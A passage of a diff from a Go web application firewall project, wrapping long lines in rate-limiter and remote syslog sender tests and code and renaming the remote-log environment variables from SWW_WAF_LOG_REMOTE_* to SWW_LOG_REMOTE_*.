want := ratelimit.Hit{Kind: ratelimit.KindRequests, Window: hour, Limit: 0, Count: 1}
|
want := ratelimit.Hit{
|
||||||
|
Kind: ratelimit.KindRequests,
|
||||||
|
Window: hour,
|
||||||
|
Limit: 0,
|
||||||
|
Count: 1,
|
||||||
|
}
|
||||||
if hit != want {
|
if hit != want {
|
||||||
t.Errorf("the first request gives %+v, want %+v", hit, want)
|
t.Errorf("the first request gives %+v, want %+v", hit, want)
|
||||||
}
|
}
|
||||||
|
|
||||||
_, hit, _ = limiter.CountBytes(client, start, 1, 0)
|
_, hit, _ = limiter.CountBytes(client, start, 1, 0)
|
||||||
|
|
||||||
want = ratelimit.Hit{Kind: ratelimit.KindBytes, Window: hour, Limit: 0, Count: 1}
|
want = ratelimit.Hit{
|
||||||
|
Kind: ratelimit.KindBytes,
|
||||||
|
Window: hour,
|
||||||
|
Limit: 0,
|
||||||
|
Count: 1,
|
||||||
|
}
|
||||||
if hit != want {
|
if hit != want {
|
||||||
t.Errorf("the first byte gives %+v, want %+v", hit, want)
|
t.Errorf("the first byte gives %+v, want %+v", hit, want)
|
||||||
}
|
}
|
||||||
@@ -215,13 +262,23 @@ func TestEachByteLimitIsBrokenByTheBytesCounted(t *testing.T) {
|
|||||||
t.Fatal("600 bytes are over the limit of 1000")
|
t.Fatal("600 bytes are over the limit of 1000")
|
||||||
}
|
}
|
||||||
|
|
||||||
_, hit, over := limiter.CountBytes(client, midnight(), 600, whole)
|
_, hit, over := limiter.CountBytes(
|
||||||
|
client,
|
||||||
|
midnight(),
|
||||||
|
600,
|
||||||
|
whole,
|
||||||
|
)
|
||||||
|
|
||||||
want := ratelimit.Hit{
|
want := ratelimit.Hit{
|
||||||
Kind: ratelimit.KindBytes, Window: tc.window, Limit: byteLimit, Count: 1200,
|
Kind: ratelimit.KindBytes, Window: tc.window, Limit: byteLimit, Count: 1200,
|
||||||
}
|
}
|
||||||
if !over || hit != want {
|
if !over || hit != want {
|
||||||
t.Errorf("1200 bytes give %+v and %t, want %+v and true", hit, over, want)
|
t.Errorf(
|
||||||
|
"1200 bytes give %+v and %t, want %+v and true",
|
||||||
|
hit,
|
||||||
|
over,
|
||||||
|
want,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -230,8 +287,10 @@ func TestEachByteLimitIsBrokenByTheBytesCounted(t *testing.T) {
|
|||||||
func TestALimitIsBrokenOnlyByWhatIsAddedToIt(t *testing.T) {
|
func TestALimitIsBrokenOnlyByWhatIsAddedToIt(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
limiter := ratelimit.New(ratelimit.Limits{PerMinute: 2, BytesPerMinute: 1000},
|
limiter := ratelimit.New(
|
||||||
tableSize)
|
ratelimit.Limits{PerMinute: 2, BytesPerMinute: 1000},
|
||||||
|
tableSize,
|
||||||
|
)
|
||||||
client := netip.MustParsePrefix("203.0.113.9/32")
|
client := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
other := netip.MustParsePrefix("203.0.113.10/32")
|
other := netip.MustParsePrefix("203.0.113.10/32")
|
||||||
start := midnight()
|
start := midnight()
|
||||||
@@ -301,7 +360,10 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
|
|||||||
|
|
||||||
for range limit {
|
for range limit {
|
||||||
if _, over := limiter.CountRefusal(client, start, limit); over {
|
if _, over := limiter.CountRefusal(client, start, limit); over {
|
||||||
t.Fatalf("a refusal within the threshold of %d broke the error burst", limit)
|
t.Fatalf(
|
||||||
|
"a refusal within the threshold of %d broke the error burst",
|
||||||
|
limit,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -311,13 +373,21 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
|
|||||||
Kind: ratelimit.KindRefusals, Window: minute, Limit: limit, Count: limit + 1,
|
Kind: ratelimit.KindRefusals, Window: minute, Limit: limit, Count: limit + 1,
|
||||||
}
|
}
|
||||||
if !over || hit != want {
|
if !over || hit != want {
|
||||||
t.Errorf("one over the threshold broke it: %t, with %+v; want %+v", over, hit,
|
t.Errorf(
|
||||||
want)
|
"one over the threshold broke it: %t, with %+v; want %+v",
|
||||||
|
over,
|
||||||
|
hit,
|
||||||
|
want,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Half a minute into the next, half of those four still count, 2, and
|
// Half a minute into the next, half of those four still count, 2, and
|
||||||
// this one: 3, within the threshold.
|
// this one: 3, within the threshold.
|
||||||
hit, over = limiter.CountRefusal(client, start.Add(time.Minute+time.Minute/2), limit)
|
hit, over = limiter.CountRefusal(
|
||||||
|
client,
|
||||||
|
start.Add(time.Minute+time.Minute/2),
|
||||||
|
limit,
|
||||||
|
)
|
||||||
if over || hit.Count != 3 {
|
if over || hit.Count != 3 {
|
||||||
t.Errorf("half a minute on, %v refusals broke it: %t; want 3, false",
|
t.Errorf("half a minute on, %v refusals broke it: %t; want 3, false",
|
||||||
hit.Count, over)
|
hit.Count, over)
|
||||||
@@ -326,7 +396,11 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
|
|||||||
// A ban sets them back to zero.
|
// A ban sets them back to zero.
|
||||||
limiter.Reset(client)
|
limiter.Reset(client)
|
||||||
|
|
||||||
hit, _ = limiter.CountRefusal(client, start.Add(time.Minute+time.Minute/2), limit)
|
hit, _ = limiter.CountRefusal(
|
||||||
|
client,
|
||||||
|
start.Add(time.Minute+time.Minute/2),
|
||||||
|
limit,
|
||||||
|
)
|
||||||
if hit.Count != 1 {
|
if hit.Count != 1 {
|
||||||
t.Errorf("after a reset, %v refusals, want 1", hit.Count)
|
t.Errorf("after a reset, %v refusals, want 1", hit.Count)
|
||||||
}
|
}
|
||||||
@@ -347,7 +421,11 @@ func TestCountGivesTheRequestsInEachWindow(t *testing.T) {
|
|||||||
// hour still covers three quarters of the bucket before, with its three
|
// hour still covers three quarters of the bucket before, with its three
|
||||||
// requests, which count 2.25, and this one: 3.25. The day covers all
|
// requests, which count 2.25, and this one: 3.25. The day covers all
|
||||||
// four.
|
// four.
|
||||||
counts, _, _ := limiter.Count(client, start.Add(time.Hour+time.Hour/4), whole)
|
counts, _, _ := limiter.Count(
|
||||||
|
client,
|
||||||
|
start.Add(time.Hour+time.Hour/4),
|
||||||
|
whole,
|
||||||
|
)
|
||||||
|
|
||||||
want := ratelimit.Counts{Minute: 1, Hour: 3.25, Day: 4}
|
want := ratelimit.Counts{Minute: 1, Hour: 3.25, Day: 4}
|
||||||
if counts != want {
|
if counts != want {
|
||||||
@@ -358,7 +436,10 @@ func TestCountGivesTheRequestsInEachWindow(t *testing.T) {
|
|||||||
func TestResetSetsTheCountsBackToZero(t *testing.T) {
|
func TestResetSetsTheCountsBackToZero(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerDay: limit}, tableSize)
|
limiter := ratelimit.New(
|
||||||
|
ratelimit.Limits{PerMinute: limit, PerDay: limit},
|
||||||
|
tableSize,
|
||||||
|
)
|
||||||
client := netip.MustParsePrefix("203.0.113.9/32")
|
client := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
start := midnight()
|
start := midnight()
|
||||||
|
|
||||||
@@ -399,8 +480,10 @@ func TestClientBackAfterAWholeBucketIsWithinTheLimitAtOnce(t *testing.T) {
|
|||||||
func TestRefusedRequestsCount(t *testing.T) {
|
func TestRefusedRequestsCount(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: 2 * limit},
|
limiter := ratelimit.New(
|
||||||
tableSize)
|
ratelimit.Limits{PerMinute: limit, PerHour: 2 * limit},
|
||||||
|
tableSize,
|
||||||
|
)
|
||||||
refused := netip.MustParsePrefix("203.0.113.9/32")
|
refused := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
within := netip.MustParsePrefix("203.0.113.10/32")
|
within := netip.MustParsePrefix("203.0.113.10/32")
|
||||||
start := midnight()
|
start := midnight()
|
||||||
@@ -501,7 +584,11 @@ func TestKeepsAtMostMaxClientsDroppingTheLeastRecentlySeen(t *testing.T) {
|
|||||||
wantCount(t, limiter, clients[maxClients], now, "")
|
wantCount(t, limiter, clients[maxClients], now, "")
|
||||||
|
|
||||||
if limiter.Len() != maxClients {
|
if limiter.Len() != maxClients {
|
||||||
t.Errorf("the table holds %d clients, want %d", limiter.Len(), maxClients)
|
t.Errorf(
|
||||||
|
"the table holds %d clients, want %d",
|
||||||
|
limiter.Len(),
|
||||||
|
maxClients,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
wantCount(t, limiter, clients[1], now, "")
|
wantCount(t, limiter, clients[1], now, "")
|
||||||
@@ -516,7 +603,10 @@ func midnight() time.Time {
|
|||||||
// wantCount counts a request from client at now, and checks the window
|
// wantCount counts a request from client at now, and checks the window
|
||||||
// whose limit it goes over, "" for none.
|
// whose limit it goes over, "" for none.
|
||||||
func wantCount(
|
func wantCount(
|
||||||
t *testing.T, limiter *ratelimit.Limiter, client netip.Prefix, now time.Time,
|
t *testing.T,
|
||||||
|
limiter *ratelimit.Limiter,
|
||||||
|
client netip.Prefix,
|
||||||
|
now time.Time,
|
||||||
want string,
|
want string,
|
||||||
) {
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
@@ -531,8 +621,12 @@ func wantCount(
|
|||||||
// wantBytesCount counts bytes from client at now, and checks the kind of
|
// wantBytesCount counts bytes from client at now, and checks the kind of
|
||||||
// the limit they break, "" for none.
|
// the limit they break, "" for none.
|
||||||
func wantBytesCount(
|
func wantBytesCount(
|
||||||
t *testing.T, limiter *ratelimit.Limiter, client netip.Prefix, now time.Time,
|
t *testing.T,
|
||||||
bytes int64, want string,
|
limiter *ratelimit.Limiter,
|
||||||
|
client netip.Prefix,
|
||||||
|
now time.Time,
|
||||||
|
bytes int64,
|
||||||
|
want string,
|
||||||
) {
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
|
|||||||
@@ -12,7 +12,12 @@ import (
|
|||||||
func TestSnapshotListsTheClientsByAddress(t *testing.T) {
|
func TestSnapshotListsTheClientsByAddress(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
want := []string{"192.0.2.1/32", "203.0.113.9/32", "203.0.113.10/32", "2001:db8::/64"}
|
want := []string{
|
||||||
|
"192.0.2.1/32",
|
||||||
|
"203.0.113.9/32",
|
||||||
|
"203.0.113.10/32",
|
||||||
|
"2001:db8::/64",
|
||||||
|
}
|
||||||
|
|
||||||
limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
|
limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
|
||||||
for _, i := range []int{2, 3, 0, 1} {
|
for _, i := range []int{2, 3, 0, 1} {
|
||||||
@@ -32,8 +37,12 @@ func TestSnapshotListsTheClientsByAddress(t *testing.T) {
|
|||||||
|
|
||||||
counted := ratelimit.Buckets{Start: midnight(), Current: 1}
|
counted := ratelimit.Buckets{Start: midnight(), Current: 1}
|
||||||
if snapshot[0].Minute != counted || snapshot[0].Day != counted {
|
if snapshot[0].Minute != counted || snapshot[0].Day != counted {
|
||||||
t.Errorf("buckets %+v and %+v, want %+v", snapshot[0].Minute, snapshot[0].Day,
|
t.Errorf(
|
||||||
counted)
|
"buckets %+v and %+v, want %+v",
|
||||||
|
snapshot[0].Minute,
|
||||||
|
snapshot[0].Day,
|
||||||
|
counted,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -86,10 +95,15 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) {
|
|||||||
t.Errorf("loaded two minutes on as %+v", got)
|
t.Errorf("loaded two minutes on as %+v", got)
|
||||||
}
|
}
|
||||||
|
|
||||||
if got.MinuteBytes != (ratelimit.Buckets{}) || got.HourBytes.Current != 5 ||
|
if got.MinuteBytes != (ratelimit.Buckets{}) ||
|
||||||
|
got.HourBytes.Current != 5 ||
|
||||||
got.DayBytes.Current != 5 {
|
got.DayBytes.Current != 5 {
|
||||||
t.Errorf("loaded two minutes on with buckets of bytes %+v, %+v and %+v",
|
t.Errorf(
|
||||||
got.MinuteBytes, got.HourBytes, got.DayBytes)
|
"loaded two minutes on with buckets of bytes %+v, %+v and %+v",
|
||||||
|
got.MinuteBytes,
|
||||||
|
got.HourBytes,
|
||||||
|
got.DayBytes,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
if got.MinuteRefusals != (ratelimit.Buckets{}) {
|
if got.MinuteRefusals != (ratelimit.Buckets{}) {
|
||||||
@@ -101,8 +115,13 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) {
|
|||||||
got = loaded(start.Add(2*time.Minute - time.Nanosecond))
|
got = loaded(start.Add(2*time.Minute - time.Nanosecond))
|
||||||
if got.Minute.Current != 1 || got.MinuteBytes.Current != 5 ||
|
if got.Minute.Current != 1 || got.MinuteBytes.Current != 5 ||
|
||||||
got.MinuteRefusals.Current != 1 {
|
got.MinuteRefusals.Current != 1 {
|
||||||
t.Errorf("loaded just under two minutes on with minute buckets %+v, %+v "+
|
t.Errorf(
|
||||||
"and %+v", got.Minute, got.MinuteBytes, got.MinuteRefusals)
|
"loaded just under two minutes on with minute buckets %+v, %+v "+
|
||||||
|
"and %+v",
|
||||||
|
got.Minute,
|
||||||
|
got.MinuteBytes,
|
||||||
|
got.MinuteRefusals,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
// Package remotelog sends the lines sww writes on stdout to the
|
// Package remotelog sends the lines sww writes on stdout to the
|
||||||
// remote log endpoint, SWW_WAF_LOG_REMOTE_URL, as the "Request log" section
|
// remote log endpoint, SWW_LOG_REMOTE_URL, as the "Request log" section
|
||||||
// of SPEC.md describes: each line as the message of an RFC 5424 syslog
|
// of SPEC.md describes: each line as the message of an RFC 5424 syslog
|
||||||
// record, over UDP, TCP or TLS. Lines wait in a bounded buffer, so a slow
|
// record, over UDP, TCP or TLS. Lines wait in a bounded buffer, so a slow
|
||||||
// or unreachable endpoint never holds up a request or stdout.
|
// or unreachable endpoint never holds up a request or stdout.
|
||||||
@@ -24,7 +24,7 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
)
|
)
|
||||||
|
|
||||||
// The forms of SWW_WAF_LOG_REMOTE_URL, by its scheme.
|
// The forms of SWW_LOG_REMOTE_URL, by its scheme.
|
||||||
const (
|
const (
|
||||||
SchemeUDP = "syslog+udp"
|
SchemeUDP = "syslog+udp"
|
||||||
SchemeTCP = "syslog+tcp"
|
SchemeTCP = "syslog+tcp"
|
||||||
@@ -56,18 +56,18 @@ const (
|
|||||||
|
|
||||||
// Params are what New needs.
|
// Params are what New needs.
|
||||||
type Params struct {
|
type Params struct {
|
||||||
// URL is the endpoint (SWW_WAF_LOG_REMOTE_URL): SchemeUDP, SchemeTCP or
|
// URL is the endpoint (SWW_LOG_REMOTE_URL): SchemeUDP, SchemeTCP or
|
||||||
// SchemeTLS, a host and a port.
|
// SchemeTLS, a host and a port.
|
||||||
URL *url.URL
|
URL *url.URL
|
||||||
// RootCAs are the certificates a SchemeTLS endpoint's certificate
|
// RootCAs are the certificates a SchemeTLS endpoint's certificate
|
||||||
// must chain to (SWW_WAF_LOG_REMOTE_TLS_CA_FILE), nil for the host's.
|
// must chain to (SWW_LOG_REMOTE_TLS_CA_FILE), nil for the host's.
|
||||||
RootCAs *x509.CertPool
|
RootCAs *x509.CertPool
|
||||||
// Buffer is the most lines held while they wait to be sent
|
// Buffer is the most lines held while they wait to be sent
|
||||||
// (SWW_WAF_LOG_REMOTE_BUFFER).
|
// (SWW_LOG_REMOTE_BUFFER).
|
||||||
Buffer int
|
Buffer int
|
||||||
// Facility is the number of the records' syslog facility
|
// Facility is the number of the records' syslog facility
|
||||||
// (SWW_WAF_LOG_REMOTE_FACILITY), and AppName their APP-NAME
|
// (SWW_LOG_REMOTE_FACILITY), and AppName their APP-NAME
|
||||||
// (SWW_WAF_LOG_REMOTE_APP_NAME).
|
// (SWW_LOG_REMOTE_APP_NAME).
|
||||||
Facility int
|
Facility int
|
||||||
AppName string
|
AppName string
|
||||||
}
|
}
|
||||||
@@ -185,7 +185,11 @@ func (s *Sender) Run(ctx context.Context, processLog *slog.Logger) {
|
|||||||
// and over TCP and TLS after its length in bytes and a space, the
|
// and over TCP and TLS after its length in bytes and a space, the
|
||||||
// octet-counted framing of RFC 6587 and RFC 5425.
|
// octet-counted framing of RFC 6587 and RFC 5425.
|
||||||
func (s *Sender) record(at string, line []byte) []byte {
|
func (s *Sender) record(at string, line []byte) []byte {
|
||||||
record := make([]byte, 0, len(s.beforeTime)+len(at)+len(s.afterTime)+len(line))
|
record := make(
|
||||||
|
[]byte,
|
||||||
|
0,
|
||||||
|
len(s.beforeTime)+len(at)+len(s.afterTime)+len(line),
|
||||||
|
)
|
||||||
record = append(record, s.beforeTime...)
|
record = append(record, s.beforeTime...)
|
||||||
record = append(record, at...)
|
record = append(record, at...)
|
||||||
record = append(record, s.afterTime...)
|
record = append(record, s.afterTime...)
|
||||||
@@ -219,7 +223,10 @@ func (s *Sender) put(record []byte) {
|
|||||||
// send connects to the endpoint and sends each record as it comes into
|
// send connects to the endpoint and sends each record as it comes into
|
||||||
// the buffer, until ctx is done, and returns the connection then open, or
|
// the buffer, until ctx is done, and returns the connection then open, or
|
||||||
// nil.
|
// nil.
|
||||||
func (s *Sender) send(ctx context.Context, processLog *slog.Logger) net.Conn {
|
func (s *Sender) send(
|
||||||
|
ctx context.Context,
|
||||||
|
processLog *slog.Logger,
|
||||||
|
) net.Conn {
|
||||||
delay := firstRetryDelay
|
delay := firstRetryDelay
|
||||||
|
|
||||||
for {
|
for {
|
||||||
@@ -243,7 +250,7 @@ func (s *Sender) send(ctx context.Context, processLog *slog.Logger) net.Conn {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
processLog.Warn("sending to SWW_WAF_LOG_REMOTE_URL failed",
|
processLog.Warn("sending to SWW_LOG_REMOTE_URL failed",
|
||||||
"error", err.Error(), "connecting_again_in", delay.String())
|
"error", err.Error(), "connecting_again_in", delay.String())
|
||||||
|
|
||||||
select {
|
select {
|
||||||
|
|||||||
@@ -57,16 +57,27 @@ func TestRecordsOverUDPGoOnePerDatagram(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
endpoint, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", loopback)
|
endpoint, err := (&net.ListenConfig{}).ListenPacket(
|
||||||
|
t.Context(),
|
||||||
|
"udp",
|
||||||
|
loopback,
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("listen: %v", err)
|
t.Fatalf("listen: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
t.Cleanup(func() { _ = endpoint.Close() })
|
t.Cleanup(func() { _ = endpoint.Close() })
|
||||||
|
|
||||||
sender, _, _ := run(t, params(remotelog.SchemeUDP, endpoint.LocalAddr()))
|
sender, _, _ := run(
|
||||||
|
t,
|
||||||
|
params(remotelog.SchemeUDP, endpoint.LocalAddr()),
|
||||||
|
)
|
||||||
|
|
||||||
_, _ = sender.Write([]byte(`{"type":"request"}` + "\n" + `{"type":"process"}` + "\n"))
|
_, _ = sender.Write(
|
||||||
|
[]byte(
|
||||||
|
`{"type":"request"}` + "\n" + `{"type":"process"}` + "\n",
|
||||||
|
),
|
||||||
|
)
|
||||||
|
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
wantCounts(t, sender, 2, 0, 0)
|
wantCounts(t, sender, 2, 0, 0)
|
||||||
@@ -108,7 +119,9 @@ func TestRecordsOverTCPAreOctetCountedWithTheirFacility(t *testing.T) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestStalledEndpointHoldsUpNoWriteAndOldestRecordsAreDropped(t *testing.T) {
|
func TestStalledEndpointHoldsUpNoWriteAndOldestRecordsAreDropped(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -174,7 +187,11 @@ func TestReconnectsWithBackoffAfterTheEndpointGoesAway(t *testing.T) {
|
|||||||
wantCounts(t, sender, 1, 0, 0)
|
wantCounts(t, sender, 1, 0, 0)
|
||||||
|
|
||||||
conn := endpoint.next(t)
|
conn := endpoint.next(t)
|
||||||
wantFrame(t, bufio.NewReader(conn), record(t, local0Info, appName, "one"))
|
wantFrame(
|
||||||
|
t,
|
||||||
|
bufio.NewReader(conn),
|
||||||
|
record(t, local0Info, appName, "one"),
|
||||||
|
)
|
||||||
|
|
||||||
// The endpoint goes away: it closes the connection, and refuses the
|
// The endpoint goes away: it closes the connection, and refuses the
|
||||||
// next ones. The sender notices when a record fails, and tries to
|
// next ones. The sender notices when a record fails, and tries to
|
||||||
@@ -203,7 +220,11 @@ func TestReconnectsWithBackoffAfterTheEndpointGoesAway(t *testing.T) {
|
|||||||
wantCounts(t, sender, sent+1, 1, 0)
|
wantCounts(t, sender, sent+1, 1, 0)
|
||||||
|
|
||||||
conn = endpoint.next(t)
|
conn = endpoint.next(t)
|
||||||
wantFrame(t, bufio.NewReader(conn), record(t, local0Info, appName, "two"))
|
wantFrame(
|
||||||
|
t,
|
||||||
|
bufio.NewReader(conn),
|
||||||
|
record(t, local0Info, appName, "two"),
|
||||||
|
)
|
||||||
wantRetries(t, logged, "1s", "2s")
|
wantRetries(t, logged, "1s", "2s")
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -213,12 +234,19 @@ func TestAConnectionClosedAtOnceIsMadeAgainAfterAGrowingDelay(t *testing.T) {
|
|||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
endpoint := listen(t)
|
endpoint := listen(t)
|
||||||
sender, logged, _ := run(t, params(remotelog.SchemeTCP, endpoint.Addr()))
|
sender, logged, _ := run(
|
||||||
|
t,
|
||||||
|
params(remotelog.SchemeTCP, endpoint.Addr()),
|
||||||
|
)
|
||||||
|
|
||||||
// The endpoint closes each connection as soon as it takes it. The
|
// The endpoint closes each connection as soon as it takes it. The
|
||||||
// sender notices when a record fails, and connects again a second
|
// sender notices when a record fails, and connects again a second
|
||||||
// later, then two seconds after that, then four.
|
// later, then two seconds after that, then four.
|
||||||
delays := []time.Duration{time.Second, 2 * time.Second, 4 * time.Second}
|
delays := []time.Duration{
|
||||||
|
time.Second,
|
||||||
|
2 * time.Second,
|
||||||
|
4 * time.Second,
|
||||||
|
}
|
||||||
for i, delay := range delays {
|
for i, delay := range delays {
|
||||||
_ = accept(t, endpoint).Close()
|
_ = accept(t, endpoint).Close()
|
||||||
|
|
||||||
@@ -230,12 +258,17 @@ func TestAConnectionClosedAtOnceIsMadeAgainAfterAGrowingDelay(t *testing.T) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestTheDelayStartsAgainAfterAConnectionThatStayedUpAMinute(t *testing.T) {
|
func TestTheDelayStartsAgainAfterAConnectionThatStayedUpAMinute(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
endpoint := listen(t)
|
endpoint := listen(t)
|
||||||
sender, logged, _ := run(t, params(remotelog.SchemeTCP, endpoint.Addr()))
|
sender, logged, _ := run(
|
||||||
|
t,
|
||||||
|
params(remotelog.SchemeTCP, endpoint.Addr()),
|
||||||
|
)
|
||||||
|
|
||||||
_ = accept(t, endpoint).Close()
|
_ = accept(t, endpoint).Close()
|
||||||
|
|
||||||
@@ -271,14 +304,21 @@ func TestALineTooLongForADatagramIsDroppedAlone(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
endpoint, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", loopback)
|
endpoint, err := (&net.ListenConfig{}).ListenPacket(
|
||||||
|
t.Context(),
|
||||||
|
"udp",
|
||||||
|
loopback,
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("listen: %v", err)
|
t.Fatalf("listen: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
t.Cleanup(func() { _ = endpoint.Close() })
|
t.Cleanup(func() { _ = endpoint.Close() })
|
||||||
|
|
||||||
sender, logged, _ := run(t, params(remotelog.SchemeUDP, endpoint.LocalAddr()))
|
sender, logged, _ := run(
|
||||||
|
t,
|
||||||
|
params(remotelog.SchemeUDP, endpoint.LocalAddr()),
|
||||||
|
)
|
||||||
|
|
||||||
// With its header, the first line's record is longer than the 65507
|
// With its header, the first line's record is longer than the 65507
|
||||||
// bytes a UDP datagram over IPv4 holds. It is dropped, nothing is
|
// bytes a UDP datagram over IPv4 holds. It is dropped, nothing is
|
||||||
@@ -372,7 +412,10 @@ func params(scheme string, addr net.Addr) remotelog.Params {
|
|||||||
// run runs a Sender with settings until the test ends or the function
|
// run runs a Sender with settings until the test ends or the function
|
||||||
// it returns is called, which waits for Run to return. It returns the
|
// it returns is called, which waits for Run to return. It returns the
|
||||||
// Sender, and what it logs.
|
// Sender, and what it logs.
|
||||||
func run(t *testing.T, settings remotelog.Params) (*remotelog.Sender, *output, func()) {
|
func run(
|
||||||
|
t *testing.T,
|
||||||
|
settings remotelog.Params,
|
||||||
|
) (*remotelog.Sender, *output, func()) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
sender := remotelog.New(settings)
|
sender := remotelog.New(settings)
|
||||||
@@ -399,7 +442,11 @@ func run(t *testing.T, settings remotelog.Params) (*remotelog.Sender, *output, f
|
|||||||
func listen(t *testing.T) net.Listener {
|
func listen(t *testing.T) net.Listener {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", loopback)
|
listener, err := (&net.ListenConfig{}).Listen(
|
||||||
|
t.Context(),
|
||||||
|
"tcp",
|
||||||
|
loopback,
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("listen: %v", err)
|
t.Fatalf("listen: %v", err)
|
||||||
}
|
}
|
||||||
@@ -438,11 +485,17 @@ type tlsEndpoint struct {
|
|||||||
|
|
||||||
// startTLSEndpoint starts a tlsEndpoint with certificate, which takes
|
// startTLSEndpoint starts a tlsEndpoint with certificate, which takes
|
||||||
// connections until it is told to refuse them.
|
// connections until it is told to refuse them.
|
||||||
func startTLSEndpoint(t *testing.T, certificate tls.Certificate) *tlsEndpoint {
|
func startTLSEndpoint(
|
||||||
|
t *testing.T,
|
||||||
|
certificate tls.Certificate,
|
||||||
|
) *tlsEndpoint {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
listener := listen(t)
|
listener := listen(t)
|
||||||
endpoint := &tlsEndpoint{addr: listener.Addr(), conns: make(chan net.Conn, 10)}
|
endpoint := &tlsEndpoint{
|
||||||
|
addr: listener.Addr(),
|
||||||
|
conns: make(chan net.Conn, 10),
|
||||||
|
}
|
||||||
config := &tls.Config{
|
config := &tls.Config{
|
||||||
Certificates: []tls.Certificate{certificate},
|
Certificates: []tls.Certificate{certificate},
|
||||||
MinVersion: tls.VersionTLS12,
|
MinVersion: tls.VersionTLS12,
|
||||||
@@ -456,7 +509,8 @@ func startTLSEndpoint(t *testing.T, certificate tls.Certificate) *tlsEndpoint {
|
|||||||
}
|
}
|
||||||
|
|
||||||
server := tls.Server(conn, config)
|
server := tls.Server(conn, config)
|
||||||
if endpoint.refusing.Load() || server.HandshakeContext(t.Context()) != nil {
|
if endpoint.refusing.Load() ||
|
||||||
|
server.HandshakeContext(t.Context()) != nil {
|
||||||
_ = conn.Close()
|
_ = conn.Close()
|
||||||
|
|
||||||
continue
|
continue
|
||||||
@@ -528,9 +582,17 @@ func wantCounts(
|
|||||||
) {
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
if sender.Sent() != sent || sender.Dropped() != dropped || sender.Depth() != depth {
|
if sender.Sent() != sent || sender.Dropped() != dropped ||
|
||||||
t.Fatalf("sent %d, dropped %d, %d in the buffer; want %d, %d and %d",
|
sender.Depth() != depth {
|
||||||
sender.Sent(), sender.Dropped(), sender.Depth(), sent, dropped, depth)
|
t.Fatalf(
|
||||||
|
"sent %d, dropped %d, %d in the buffer; want %d, %d and %d",
|
||||||
|
sender.Sent(),
|
||||||
|
sender.Dropped(),
|
||||||
|
sender.Depth(),
|
||||||
|
sent,
|
||||||
|
dropped,
|
||||||
|
depth,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -539,7 +601,11 @@ func wantCounts(
|
|||||||
// connection the endpoint has closed are lost before one fails; how many
|
// connection the endpoint has closed are lost before one fails; how many
|
||||||
